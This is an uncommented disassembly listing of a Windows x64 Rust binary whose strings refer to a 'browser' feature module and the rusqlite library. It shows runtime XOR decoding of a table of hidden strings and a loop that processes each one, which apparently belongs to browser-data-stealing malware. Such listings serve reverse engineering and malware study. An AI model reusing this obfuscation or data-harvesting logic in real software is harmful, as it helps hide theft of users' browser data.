lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0xf0]
call fcn.140020390
mov rax, qword [rsp + 0x30]
movabs r15, 0x8000000000000000
cmp rax, r15
je 0x140002528
mov qword [rsp + 0x268], rax
mov r12, qword [rsp + 0x38]
mov r13, qword [rsp + 0x40]
mov ebp, dword [rsp + 0x48]
movzx eax, byte [0x14034bf01]
mov ecx, 0x110
mov edx, 8
call fcn.140022700
test rax, rax
je 0x1400064f1
mov r14, rax
lea rax, [0x140289890]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0x57a9df0482d100e8
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call fcn.1400143c0
mov rcx, qword [rax]
movabs rdx, 0x2ef8d8890fa55f83
xor rcx, rdx
movzx eax, word [rax + 8]
mov edx, eax
xor dl, 0xdd
shr eax, 8
xor al, 0xad
mov qword [rsp + 0x290], rcx
mov byte [rsp + 0x298], dl
mov byte [rsp + 0x299], al
lea rax, [0x14028c6f0]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0x5dd577b2a074c76d
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call fcn.140014f10
mov rcx, qword [rax]
movabs rdx, 0x4508dfa911fa8e9d
xor rcx, rdx
movzx edx, byte [rax + 0xa]
movzx eax, word [rax + 8]
mov r8d, eax
shr r8d, 8
xor al, 0x37
xor r8b, 0xca
xor dl, 0x47
mov qword [rsp + 0x380], rcx
mov byte [rsp + 0x388], al
mov byte [rsp + 0x389], r8b
mov byte [rsp + 0x38a], dl
lea rax, [0x140289a51]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0xced9222c69776c61
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call fcn.140014490
mov rcx, qword [rax]
movabs rdx, 0x58b991aa7cde9b36
xor rcx, rdx
movzx eax, byte [rax + 8]
xor al, 0x6c
mov qword [rsp + 0x3c0], rcx
mov byte [rsp + 0x3c8], al
lea rax, [0x14028aace]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0xeaef877b9c304ce2
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call fcn.140014220
mov rcx, qword [rax]
movabs rdx, 0xf09d972dc187bd97
xor rcx, rdx
movzx eax, byte [rax + 8]
xor al, 0x31
mov qword [rsp + 0x2b0], rcx
mov byte [rsp + 0x2b8], al
lea rax, [0x1402893b0]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0x95c5040a778a15ec
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call fcn.140014390
mov rcx, qword [rax]
movabs rdx, 0xc56aa4942e7efec7
xor rcx, rdx
movzx eax, word [rax + 8]
mov edx, eax
xor dl, 0x68
shr eax, 8
xor al, 0xe1
mov qword [rsp + 0x3f0], rcx
mov byte [rsp + 0x3f8], dl
mov byte [rsp + 0x3f9], al
lea rax, [0x14028bb3c]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0xbcc142a7db4d963d
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call fcn.140014370
mov rcx, qword [rax]
movabs rdx, 0xcc3cfdda503bf916
xor rcx, rdx
movzx edx, byte [rax + 0xa]
movzx eax, word [rax + 8]
mov r8d, eax
shr r8d, 8
xor al, 0x39
xor r8b, 0x17
xor dl, 0x75
mov qword [rsp + 0x350], rcx
mov byte [rsp + 0x358], al
mov byte [rsp + 0x359], r8b
mov byte [rsp + 0x35a], dl
lea rax, [0x1402845a9]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0x5aa4a0b07796bb7c
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call fcn.140015290
mov rcx, qword [rax]
movabs rdx, 0x411c7dde1b6eb82b
xor rcx, rdx
mov edx, dword [rax + 8]
mov r8d, 0x1a5c8b2d
xor edx, r8d
movzx r8d, byte [rax + 0xe]
movzx eax, word [rax + 0xc]
mov r9d, eax
shr r9d, 8
xor al, 0x91
xor r9b, 0xb8
xor r8b, 0x14
mov qword [rsp + 0x520], rcx
mov dword [rsp + 0x528], edx
mov byte [rsp + 0x52c], al
mov byte [rsp + 0x52d], r9b
mov byte [rsp + 0x52e], r8b
lea rax, [0x140281b49]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0xdbc99ef4128bf761
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call fcn.1400147d0
mov rcx, qword [rax]
movabs rdx, 0x2d21f310661c023d
xor rcx, rdx
movzx eax, byte [rax + 8]
xor al, 0x91
mov qword [rsp + 0x270], rcx
mov byte [rsp + 0x278], al
lea rax, [0x140285212]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0x3fd16eb15feb3ce5
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call fcn.140014f70
mov rcx, qword [rax]
movabs rdx, 0xafbeb1ca55d539ff
xor rcx, rdx
movzx edx, byte [rax + 0xa]
movzx eax, word [rax + 8]
mov r8d, eax
shr r8d, 8
xor al, 0x29
xor r8b, 0x6c
xor dl, 0x7e
mov qword [rsp + 0x430], rcx
mov byte [rsp + 0x438], al
mov byte [rsp + 0x439], r8b
mov byte [rsp + 0x43a], dl
lea rax, [0x140284d4f]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0x5887aa6ab923dbc6
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call fcn.140014ec0
mov rcx, qword [rax]
movabs rdx, 0x32ca9a9b62818c7c
xor rcx, rdx
movzx edx, byte [rax + 0xa]
movzx eax, word [rax + 8]
mov r8d, eax
shr r8d, 8
xor al, 0xb7
add r8b, 0x80
xor dl, 0xa0
mov qword [rsp + 0x450], rcx
mov byte [rsp + 0x458], al
mov byte [rsp + 0x459], r8b
mov byte [rsp + 0x45a], dl
lea rax, [0x140288374]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0x13eb56d742a457e5
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call fcn.140014e30
mov rcx, qword [rax]
movabs rdx, 0x174cb174dca5ba06
xor rcx, rdx
mov rdx, qword [rax + 8]
movabs r8, 0xa41f97c5ad2c4965
xor rdx, r8
mov r8d, dword [rax + 0x10]
mov r9d, 0x8a048a76
xor r8d, r9d
movzx eax, word [rax + 0x14]
mov r9d, eax
xor r9b, 0xb3
shr eax, 8
xor al, 0xbd
mov qword [rsp + 0x598], rcx
mov qword [rsp + 0x5a0], rdx
mov dword [rsp + 0x5a8], r8d
mov byte [rsp + 0x5ac], r9b
mov byte [rsp + 0x5ad], al
lea rax, [0x14028528c]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0x8fa71922cd6675ad
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call fcn.140014580
mov rcx, qword [rax]
movabs rdx, 0x24629ae5b187d7f9
xor rcx, rdx
movzx eax, word [rax + 8]
mov edx, eax
xor dl, 0x3a
shr eax, 8
xor al, 0x2e
mov qword [rsp + 0x310], rcx
mov byte [rsp + 0x318], dl
mov byte [rsp + 0x319], al
lea rax, [0x14028dbaa]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0x5946c0d37531112
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call fcn.140014ee0
mov rax, qword [rax]
movabs rcx, 0xd1749d9ddfc0fa7a
xor rax, rcx
mov qword [rsp + 0x2f8], rax
lea rax, [0x14028910c]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0xf5f7b8096ddb9b1
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call fcn.1400142f0
mov rcx, qword [rax]
movabs rdx, 0x51b5039762543fa7
xor rcx, rdx
movzx eax, word [rax + 8]
mov edx, eax
xor dl, 0xf4
shr eax, 8
xor al, 0xf5
mov qword [rsp + 0x560], rcx
mov byte [rsp + 0x568], dl
mov byte [rsp + 0x569], al
lea rax, [0x14028cc5b]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0x79ea6fbb7388c26e
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call fcn.140014da0
mov rcx, qword [rax]
movabs rdx, 0xfba0e8226142fb74
xor rcx, rdx
movzx edx, byte [rax + 0xa]
movzx eax, word [rax + 8]
mov r8d, eax
shr r8d, 8
xor al, 0x70
xor r8b, 0xb5
xor dl, 0x3f
mov qword [rsp + 0x3a0], rcx
mov byte [rsp + 0x3a8], al
mov byte [rsp + 0x3a9], r8b
mov byte [rsp + 0x3aa], dl
lea rax, [0x14028de2c]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0x1b79d93c5bd83b02
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call fcn.140014d70
mov rcx, qword [rax]
movabs rdx, 0x826b992fd3139042
xor rcx, rdx
mov rdx, qword [rax + 8]
movabs r8, 0xcd78c727d88e3088
xor rdx, r8
mov r8d, dword [rax + 0x10]
mov r9d, 0x6615f0c9
xor r8d, r9d
movzx eax, word [rax + 0x14]
mov r9d, eax
xor r9b, 0x2f
shr eax, 8
xor al, 0x25
mov qword [rsp + 0x4d0], rcx
mov qword [rsp + 0x4d8], rdx
mov dword [rsp + 0x4e0], r8d
mov byte [rsp + 0x4e4], r9b
mov byte [rsp + 0x4e5], al
lea rax, [0x14028a27e]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
movabs rax, 0xe0b226e0c234b9aa
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
call fcn.1400149f0
mov rcx, qword [rax]
movabs rdx, 0x388f57553ff0f994
xor rcx, rdx
mov rdx, qword [rax + 8]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x470], rcx
movabs rcx, 0xc45580449ed65287
xor rdx, rcx
mov qword [rsp + 0x478], rdx
movabs rcx, 0x92f29b05fffa772a
xor rax, rcx
mov qword [rsp + 0x480], rax
lea rax, [rsp + 0x290]
mov qword [r14], rax
mov qword [r14 + 8], 0xa
lea rax, [rsp + 0x380]
mov qword [r14 + 0x10], rax
mov qword [r14 + 0x18], 0xb
lea rax, [rsp + 0x3c0]
mov qword [r14 + 0x20], rax
mov qword [r14 + 0x28], 9
lea rax, [rsp + 0x2b0]
mov qword [r14 + 0x30], rax
mov qword [r14 + 0x38], 9
lea rax, [rsp + 0x3f0]
mov qword [r14 + 0x40], rax
mov qword [r14 + 0x48], 0xa
lea rax, [rsp + 0x350]
mov qword [r14 + 0x50], rax
mov qword [r14 + 0x58], 0xb
lea rax, [rsp + 0x520]
mov qword [r14 + 0x60], rax
mov qword [r14 + 0x68], 0xf
lea rax, [rsp + 0x270]
mov qword [r14 + 0x70], rax
mov qword [r14 + 0x78], 9
lea rax, [rsp + 0x430]
mov qword [r14 + 0x80], rax
mov qword [r14 + 0x88], 0xb
lea rax, [rsp + 0x450]
mov qword [r14 + 0x90], rax
mov qword [r14 + 0x98], 0xb
lea rax, [rsp + 0x598]
mov qword [r14 + 0xa0], rax
mov qword [r14 + 0xa8], 0x16
lea rax, [rsp + 0x310]
mov qword [r14 + 0xb0], rax
mov qword [r14 + 0xb8], 0xa
lea rax, [rsp + 0x2f8]
mov qword [r14 + 0xc0], rax
mov qword [r14 + 0xc8], 8
lea rax, [rsp + 0x560]
mov qword [r14 + 0xd0], rax
mov qword [r14 + 0xd8], 0xa
lea rax, [rsp + 0x3a0]
mov qword [r14 + 0xe0], rax
mov qword [r14 + 0xe8], 0xb
lea rax, [rsp + 0x4d0]
mov qword [r14 + 0xf0], rax
mov qword [r14 + 0xf8], 0x16
lea rax, [rsp + 0x470]
mov qword [r14 + 0x100], rax
mov qword [r14 + 0x108], 0x18
mov edi, 8
jmp 0x140005c7d
add rdi, 0x10
cmp rdi, 0x118
je 0x140005cf0
mov rcx, r12
mov rdx, r13
call fcn.140019f70
mov r8, rdx
mov rcx, rbx
mov rdx, rax
call fcn.140139f70
mov rsi, qword [rsp + 0x98]
mov r9, qword [rsp + 0xa0]
mov rcx, qword [r14 + rdi - 8]
mov rdx, qword [r14 + rdi]
mov r8, rsi
call fcn.140001610
mov r15d, eax
mov rdx, qword [rsp + 0x90]
test rdx, rdx
je 0x140005cd5
mov r8d, 1
mov rcx, rsi
call fcn.140022710
test r15b, r15b
je 0x140005c70
mov ecx, ebp
mov edx, 1
call fcn.14001fb60
jmp 0x140005c70
mov edx, 0x110
mov r8d, 8
mov rcx, r14
call fcn.140022710
mov rdx, qword [rsp + 0x268]
test rdx, rdx
je 0x1400052c0
mov r8d, 1
mov rcx, r12
call fcn.140022710
jmp 0x1400052c0
mov rdi, qword [rsp + 0x340]
mov rax, r13
sub rax, rdi
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
cmp r13, rdi
je 0x140005d82
mov rsi, rdx
shr rsi, 4
add rdi, 8
jmp 0x140005d69
add rdi, 0x18
dec rsi
je 0x140005d82
mov rdx, qword [rdi - 8]
test rdx, rdx
je 0x140005d60
mov rcx, qword [rdi]
mov r8d, 1
call fcn.140022710
jmp 0x140005d60
mov rax, qword [rsp + 0x418]
test rax, rax
je 0x140005daa
shl rax, 3
lea rdx, [rax + rax*2]
mov r8d, 8
mov rcx, qword [rsp + 0x5e8]
call fcn.140022710
mov rbx, qword [rsp + 0x2c8]
mov rsi, qword [rsp + 0x2d0]
mov rdi, qword [rsp + 0x2d8]
mov rdx, qword [rsp + 0x380]
test rdx, rdx
je 0x140005de2
mov rcx, qword [rsp + 0x388]
mov r8d, 1
call fcn.140022710
mov rdx, qword [rsp + 0x420]
test rdx, rdx
je 0x140005e02
mov r8d, 1
mov rcx, qword [rsp + 0x5f0]
call fcn.140022710
lea r15, [rdi + rdi*2]
shl r15, 4
add r15, rsi
mov r14, rsi
test rdi, rdi
je 0x140005ef1
mov rax, qword [rsp + 0x260]
lea rdi, [rax + 0x18]
lea r14, [rsi + 0x30]
jmp 0x140005e8e
mov r8, qword [rsp + 0x260]
mov rax, qword [r8 + 0x20]
lea rcx, [rbp*2]
add rcx, rbp
shl rcx, 4
mov qword [rax + rcx], r13
movaps xmm0, xmmword [rsp + 0x630]
movaps xmm1, xmmword [rsp + 0x640]
movups xmmword [rax + rcx + 8], xmm0
movups xmmword [rax + rcx + 0x18], xmm1
mov rdx, qword [rsp + 0x650]
mov qword [rax + rcx + 0x28], rdx
inc rbp
mov qword [r8 + 0x28], rbp
add r14, 0x30
add r12, 0x30
cmp r12, r15
je 0x140005f5a
mov r13, qword [r14 - 0x30]
movabs rax, 0x8000000000000000
cmp r13, rax
je 0x140005ef1
lea r12, [r14 - 0x30]
mov rax, qword [r12 + 0x28]
mov qword [rsp + 0x650], rax
movups xmm0, xmmword [r12 + 8]
movups xmm1, xmmword [r12 + 0x18]
movaps xmmword [rsp + 0x640], xmm1
movaps xmmword [rsp + 0x630], xmm0
mov rax, qword [rsp + 0x260]
mov rbp, qword [rax + 0x28]
cmp rbp, qword [rax + 0x18]
jne 0x140005e30
mov rcx, rdi
call fcn.14001abf0
jmp 0x140005e30
mov rax, r15
sub rax, r14
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
cmp r15, r14
je 0x140005f5a
mov rdi, rdx
shr rdi, 5
add r14, 0x20
jmp 0x140005f29
add r14, 0x30
dec rdi
je 0x140005f5a
mov rdx, qword [r14 - 0x20]
test rdx, rdx
je 0x140005f41
mov rcx, qword [r14 - 0x18]
mov r8d, 1
call fcn.140022710
mov rdx, qword [r14 - 8]
test rdx, rdx
je 0x140005f20
mov rcx, qword [r14]
mov r8d, 1
call fcn.140022710
jmp 0x140005f20
test rbx, rbx
je 0x140005f75
shl rbx, 4
lea rdx, [rbx + rbx*2]
mov r8d, 8
mov rcx, rsi
call fcn.140022710
movaps xmm6, xmmword [rsp + 0x670]
add rsp, 0x688
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rsi, qword [rdi]
mov rcx, qword [rsi + 0x40]
movabs rdx, 0x7ffffffffffffffe
cmp rcx, rdx
ja 0x140006500
lea rdx, [rcx + 1]
mov qword [rsi + 0x40], rdx
test eax, eax
je 0x140006969
mov rdx, qword [rsi + 0x50]
lea rcx, [rsp + 0xf0]
mov r8d, eax
call fcn.140286610
movzx ebx, byte [rsp + 0xf0]
dec qword [rsi + 0x40]
cmp bl, 0x13
je 0x140006111
movzx esi, byte [rsp + 0xf1]
mov eax, dword [rsp + 0xf2]
mov dword [rsp + 0x90], eax
movzx eax, word [rsp + 0xf6]
mov word [rsp + 0x94], ax
mov r14, qword [rsp + 0xf8]
movups xmm0, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x370], 0
mov rcx, qword [rdi + 0x38]
call fcn.1401493b0
mov qword [rsp + 0x378], 0
mov byte [rsp + 0xf0], bl
mov byte [rsp + 0xf1], sil
mov eax, dword [rsp + 0x90]
mov dword [rsp + 0xf2], eax
movzx eax, word [rsp + 0x94]
mov word [rsp + 0xf6], ax
mov qword [rsp + 0xf8], r14
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmm2, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x100], xmm0
movups xmmword [rsp + 0x110], xmm1
movups xmmword [rsp + 0x120], xmm2
lea rax, str.src_feature_browser.rs
jmp 0x140006216
mov rdi, qword [rsi]
mov rcx, qword [rdi + 0x40]
movabs rdx, 0x7ffffffffffffffe
cmp rcx, rdx
ja 0x140006500
lea rdx, [rcx + 1]
mov qword [rdi + 0x40], rdx
test eax, eax
je 0x140006972
mov rdx, qword [rdi + 0x50]
lea rcx, [rsp + 0xf0]
mov r8d, eax
call fcn.140286610
movzx ebx, byte [rsp + 0xf0]
dec qword [rdi + 0x40]
cmp bl, 0x13
jne 0x14000613d
lea rax, str.C:Users_asdasd.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rusqlite_0.29.0_src_statement.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1402908e8]
lea r9, [0x140290918]
lea r8, [rsp + 0x290]
mov edx, 0x2e
call fcn.14028eff0
movzx edi, byte [rsp + 0xf1]
mov eax, dword [rsp + 0xf2]
mov dword [rsp + 0x90], eax
movzx eax, word [rsp + 0xf6]
mov word [rsp + 0x94], ax
mov r14, qword [rsp + 0xf8]
movups xmm0, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x250], 0
mov rcx, qword [rsi + 0x38]
call fcn.1401493b0
mov qword [rsp + 0x258], 0
mov byte [rsp + 0xf0], bl
mov byte [rsp + 0xf1], dil
mov eax, dword [rsp + 0x90]
mov dword [rsp + 0xf2], eax
movzx eax, word [rsp + 0x94]
mov word [rsp + 0xf6], ax
mov qword [rsp + 0xf8], r14
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmm2, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x100], xmm0
movups xmmword [rsp + 0x110], xmm1
movups xmmword [rsp + 0x120], xmm2
lea rax, str.src_feature_browser.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140290938]
lea r9, fcn.140001310
lea r8, [rsp + 0xf0]
mov edx, 0x2b
call fcn.14028eff0
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmm2, xmmword [rsp + 0x50]
movups xmm3, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x120], xmm3
movaps xmmword [rsp + 0x110], xmm2
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
lea rax, str.src_feature_browser.rs
jmp 0x140006216
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmm2, xmmword [rsp + 0x50]
movups xmm3, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x120], xmm3
movaps xmmword [rsp + 0x110], xmm2
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
lea rax, str.src_feature_browser.rs
jmp 0x140006216
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmm2, xmmword [rsp + 0x50]
movups xmm3, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x120], xmm3
movaps xmmword [rsp + 0x110], xmm2
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
lea rax, str.src_feature_browser.rs
jmp 0x140006216
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmm2, xmmword [rsp + 0x50]
movups xmm3, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x120], xmm3
movaps xmmword [rsp + 0x110], xmm2
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
lea rax, str.src_feature_browser.rs
jmp 0x140006216
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmm2, xmmword [rsp + 0x50]
movups xmm3, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x120], xmm3
movaps xmmword [rsp + 0x110], xmm2
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
lea rax, str.src_feature_browser.rs
jmp 0x140006216
lea rax, [rsp + 0xf8]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x30], xmm0
lea rax, str.src_feature_browser.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140290938]
lea r9, [0x1402909e8]
lea r8, [rsp + 0x30]
mov edx, 0x2b
call fcn.14028eff0
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmm2, xmmword [rsp + 0x50]
movups xmm3, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x120], xmm3
movaps xmmword [rsp + 0x110], xmm2
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
lea rax, str.src_feature_browser.rs
jmp 0x140006216
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmm2, xmmword [rsp + 0x50]
movups xmm3, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x120], xmm3
movaps xmmword [rsp + 0x110], xmm2
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
lea rax, str.src_feature_browser.rs
jmp 0x140006216
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmm2, xmmword [rsp + 0x50]
movups xmm3, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x120], xmm3
movaps xmmword [rsp + 0x110], xmm2
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
lea rax, str.src_feature_browser.rs
jmp 0x140006216
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmm2, xmmword [rsp + 0x50]
movups xmm3, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x120], xmm3
movaps xmmword [rsp + 0x110], xmm2
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
lea rax, str.src_feature_browser.rs
jmp 0x140006216
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmm2, xmmword [rsp + 0x50]
movups xmm3, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x120], xmm3
movaps xmmword [rsp + 0x110], xmm2
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
lea rax, str.src_feature_browser.rs
jmp 0x140006216
mov ecx, 8
mov edx, 0x110
call fcn.14028e9b0
lea rcx, str.C:Users_asdasd.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rusqlite_0.29.0_srclib.rs
call fcn.14028eb20
lea rcx, str.C:Users_asdasd.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rusqlite_0.29.0_srclib.rs
call fcn.14028eac0
lea rcx, str.C:Users_asdasd.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rusqlite_0.29.0_srclib.rs
call fcn.14028eac0
xor edi, edi
mov rcx, rdi
mov rdx, rsi
call fcn.14028e990
movzx eax, byte [rsp + 0xf7]
shl eax, 0x10
movzx ecx, word [rsp + 0xf5]
or ecx, eax
shl rcx, 0x20
mov r13d, dword [rsp + 0xf1]
or r13, rcx
mov r8, qword [rsp + 0xf8]
mov rdx, qword [rsp + 0x100]
movups xmm0, xmmword [rsp + 0x108]
movaps xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [rsp + 0x118]
movaps xmmword [rsp + 0x40], xmm0
mov rcx, qword [rsp + 0x128]
shl r13, 8
movzx eax, bl
or rax, r13
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], r8
mov qword [rsp + 0x100], rdx
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movups xmmword [rsp + 0x108], xmm0
movups xmmword [rsp + 0x118], xmm1
mov qword [rsp + 0x128], rcx
lea rax, str.src_feature_browser.rs
jmp 0x140006216
xor r14d, r14d
mov rcx, r14
mov rdx, rsi
call fcn.14028e990
movzx eax, byte [rsp + 0xf7]
shl eax, 0x10
movzx ecx, word [rsp + 0xf5]
or ecx, eax
shl rcx, 0x20
mov r14d, dword [rsp + 0xf1]
or r14, rcx
mov r12, qword [rsp + 0xf8]
mov rdx, qword [rsp + 0x100]
movups xmm0, xmmword [rsp + 0x108]
movaps xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [rsp + 0x118]
movaps xmmword [rsp + 0x40], xmm0
mov rcx, qword [rsp + 0x128]
shl r14, 8
movzx eax, bl
or rax, r14
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], r12
mov qword [rsp + 0x100], rdx
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movups xmmword [rsp + 0x108], xmm0
movups xmmword [rsp + 0x118], xmm1
mov qword [rsp + 0x128], rcx
lea rax, str.src_feature_browser.rs
jmp 0x140006216
cdqe
mov byte [rsp + 0xf0], 0x11
mov qword [rsp + 0xf8], 0
mov qword [rsp + 0x100], rax
lea rax, str.src_feature_browser.rs
jmp 0x140006216
movups xmm0, xmmword [rsp + 0xf8]
movups xmm1, xmmword [rsp + 0x108]
movups xmm2, xmmword [rsp + 0x118]
movups xmm3, xmmword [rsp + 0x128]
movaps xmmword [rsp + 0xc0], xmm3
movaps xmmword [rsp + 0xb0], xmm2
movaps xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
lea rax, str.src_feature_browser.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140290938]
lea r9, fcn.140001310
lea r8, [rsp + 0x90]
mov edx, 0x2b
call fcn.14028eff0
movups xmm0, xmmword [rsp + 0x90]
movups xmm1, xmmword [rsp + 0xa0]
movups xmm2, xmmword [rsp + 0xb0]
movups xmm3, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x120], xmm3
movaps xmmword [rsp + 0x110], xmm2
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
lea rax, str.src_feature_browser.rs
jmp 0x140006216
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x140], xmm0
movaps xmm0, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x130], xmm0
movaps xmm0, xmmword [rsp + 0x90]
movaps xmm1, xmmword [rsp + 0xa0]
movaps xmm2, xmmword [rsp + 0xb0]
movaps xmm3, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x120], xmm3
movaps xmmword [rsp + 0x110], xmm2
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
movups xmm0, xmmword [rsp + 0x599]
movups xmm1, xmmword [rsp + 0x5a9]
movups xmm2, xmmword [rsp + 0x5b9]
movups xmm3, xmmword [rsp + 0x5c8]
movups xmmword [rsp + 0x151], xmm0
movups xmmword [rsp + 0x161], xmm1
movups xmmword [rsp + 0x171], xmm2
movups xmmword [rsp + 0x180], xmm3
mov byte [rsp + 0x150], al
lea rax, str.src_feature_browser.rs
jmp 0x140006944
cdqe
mov byte [rsp + 0xf0], 0x11
mov qword [rsp + 0xf8], 0
mov qword [rsp + 0x100], rax
lea rax, str.src_feature_browser.rs
jmp 0x140006216
movups xmm0, xmmword [rsp + 0x90]
movups xmm1, xmmword [rsp + 0xa0]
movups xmm2, xmmword [rsp + 0xb0]
movups xmm3, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x120], xmm3
movaps xmmword [rsp + 0x110], xmm2
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
lea rax, str.src_feature_browser.rs
jmp 0x140006216
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x140], xmm0
